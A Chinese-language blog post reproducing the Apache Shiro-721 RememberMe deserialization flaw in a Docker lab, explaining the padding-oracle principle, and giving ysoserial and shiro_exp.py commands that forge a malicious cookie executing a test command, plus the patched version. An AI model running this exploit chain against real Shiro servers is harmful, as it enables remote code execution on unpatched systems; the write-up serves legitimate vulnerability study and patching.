Apache Shiro 721反序列化漏洞复现
漏洞原理
Shiro 的RememberMe Cookie使用的是 AES-128-CBC 模式加密。其中 128 表示密钥长度为128位,CBC 代表Cipher Block Chaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。
这种模式的加密方式容易受到 Padding Oracle Attack 的影响。如果填充不正确,程序可能会以不同的方式响应,而不是简单的返回一个错误。然后攻击者可以利用这些差异性响应来逐个解密密文中的块,即使他们没有加密的密钥。
总之就有点类似于盲注,攻击者可以利用这一点来进行尝试不同的填充方式,精心构造RememberMe Cookie执行反序列化,无需知道RememberMe加密的密钥。
Shiro721 和 Shiro550 的差异?
Shiro721和Shiro550一样,都是生成恶意RememberMe Cookie反序列化执行代码,不同之处是RememberMe Cookie的生成方式。
shiro550 序列化利用需要知道AES加密的key,使用这个key直接构造Payload。
Shiro721 序列化是利用已登录用户的合法RememberMe Cookie值,通过服务器对填充密钥的不同响应,从而判断加密值是否被正确填充,构造Pyload。
复现
影响版本:Apache Shiro 1.2.5、1.2.6、1.3.0、1.3.1、1.3.2、1.4.0-RC2、1.4.0、1.4.1
环境搭建:
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721
浏览器访问靶机 8080 端口:

使用已有用户登录,得到 RememberMe Cookie:

使用反序列化工具 ysoserial 生成Payload,利用链Payload选择 CommonsBeanutils1:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
这里使用其他师傅@3ND写的 shiro_exp.py 脚本,通过 Padding Oracle Attack 生成Rememberme Cookie:
python2 shiro_exp.py "http://192.168.88.150:8080/login.jsp" "Wd7Qotkee8tUDoziz3zSYud6BkDsHoFAhDGQ/ay2itmy6DRKk3/XCtlpN8DOr6NsVMvbpvEQeUG2+2nf86yHK52ugDzC9v7T0jF3a/SDg0rTpBsaFoJ7647C8sEhbsxno6pu/mpKWqg6Ii6zH/yUIJaRswCMEw/YWH5C36FeASHK8FOEl0CZyi1wcdgHlQAeaRH/U2vOv3Y0aMGkMf/D6Da9gofvfXLHx1TP3V6EyzO5Fnd/22H33oRLf5D/48b8uFfiA3QMzcaTML3U9foQRiSiYOp5Wr2ghBLU4HvqIM2YF7bIyAwWfr9+Zaa/JvwWjGYSbrXS0ay8G8oVP94ijDtVxXjLotx75eP0ahdXuO0AsEwe7a7nMgpwVStpz7igSBCjnJHeB5ZHEI6s7md30rltU99FtsjyOLBxYy6LryJTqmGokpk8sbbxch6Qefmx0xdob6/EFM8S0rn3mF48T0n6LfKlUZw3RjNG8B42Tba46k9gkvsFM40QJNNJWCp5" poc.ser
这个 exp 爆破时间有点长:

将得到的这个Rememberme Cookie替换到Cookie处发送:
需要注意的是,这里原本的JSESSIONID要删除掉,否则服务器不会进行反序列化操作。

进入到我们的靶机docker环境中,可以看到 /tmp/success 文件已经成功创建,利用成功。

修复方式
升级到 Shiro1.4.2 版本(Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为AES-GCM)
参考文章:
https://github.com/inspiringz/Shiro-721
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2019-12422shiro-721Oracle填充攻击.md
https://issues.apache.org/jira/browse/SHIRO-721
若有错误,欢迎指正!o( ̄▽ ̄)ブ
Apache Shiro 721反序列化漏洞复现的更多相关文章
- 25. Apache Shiro Java反序列化漏洞
前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...
- Apache Shiro Java反序列化漏洞分析
1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...
- Shiro remeberMe反序列化漏洞复现(Shiro-550)
Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性.在Apache Shiro编号为550的 issu ...
- 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现
一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- Java安全之Shiro 550反序列化漏洞分析
Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...
- JAVA反序列化漏洞复现
目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...
- Shiro 550反序列化漏洞分析
Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...
- WebLogic XMLDecoder反序列化漏洞复现
WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...
- Jboss反序列化漏洞复现(CVE-2017-12149)
Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...
随机推荐
- LaTeX 常用引用标签前缀
引用对象 标签前缀 Chapter ch Section sec Subsection sec Appendix app Figure fig Table tab List item itm Equa ...
- 解决使用filter: blur时图片四周泛白的问题
发现问题 在使用filter: blur(15px)模糊背景图时,发现图片周围会泛白. 解决问题 查了好多办法: 1.使用StackBlur.js处理图片模糊. 2.改变background-size ...
- 声明式 Shadow DOM:简化 Web 组件开发的新工具
在现代 Web 开发中,Web 组件已经成为创建模块化.可复用 UI 组件的标准工具.而 Shadow DOM 是 Web 组件技术的核心部分,它允许开发人员封装组件的内部结构和样式,避免组件的样式和 ...
- PRCV 2023:语言模型与视觉生态如何协同?合合信息瞄准“多模态”技术
PRCV 2023:语言模型与视觉生态如何协同?合合信息瞄准"多模态"技术 近期,2023年中国模式识别与计算机视觉大会(PRCV)在厦门成功举行.大会由中国计算机学会(CCF). ...
- ASP.NET Core – Globalization & Localization
前言 之前就写过 2 篇, 只是写的很乱, 这篇作为整理版. Asp.net core (学习笔记 路由和语言 route & language) Asp.net core 学习笔记之 glo ...
- Hadoop & Redis未授权漏洞实战——Vulfocus服务攻防
什么是未授权访问漏洞?Hadoop & Redis靶场实战--Vulfocus服务攻防 一.介绍 未授权访问,也称为未经授权的访问或非法访问,是指在没有得到适当权限或授权的情况下,个人或系统访 ...
- MyBatisPlus——DML编程控制——乐观锁
乐观锁 业务并发现象带来的问题:秒杀最后一单 用于中小型项目(2000请求以下) 添加一个数据库字段,使每次请求修改数据时,这个字段就加一,当有多人同时请求时,这些人同时获取到的都是相同的该字段,但当 ...
- Centos LNMP 安装日记
环境介绍 [root@k8s-master ~]# cat /etc/redhat-release CentOS Linux release 7.7.1908 (Core) mysql8.0.12_b ...
- LeetCode 1388. Pizza With 3n Slices(3n 块披萨)(DP)
给你一个披萨,它由 3n 块不同大小的部分组成,现在你和你的朋友们需要按照如下规则来分披萨: 你挑选 任意 一块披萨.Alice 将会挑选你所选择的披萨逆时针方向的下一块披萨.Bob 将会挑选你所选择 ...
- 墨天轮访谈 | Pika数据库陈磊:云时代下,键值数据库是否会被替代?
分享嘉宾:陈磊 开源数据库Pika项目PMC核心人员 整理:墨天轮社区 导读 大家好,今天我分享的主题是:KV数据库,云时代的文件存储. 随着AI和机器学习等技术的发展,数据演变为了十分宝贵的资源,数 ...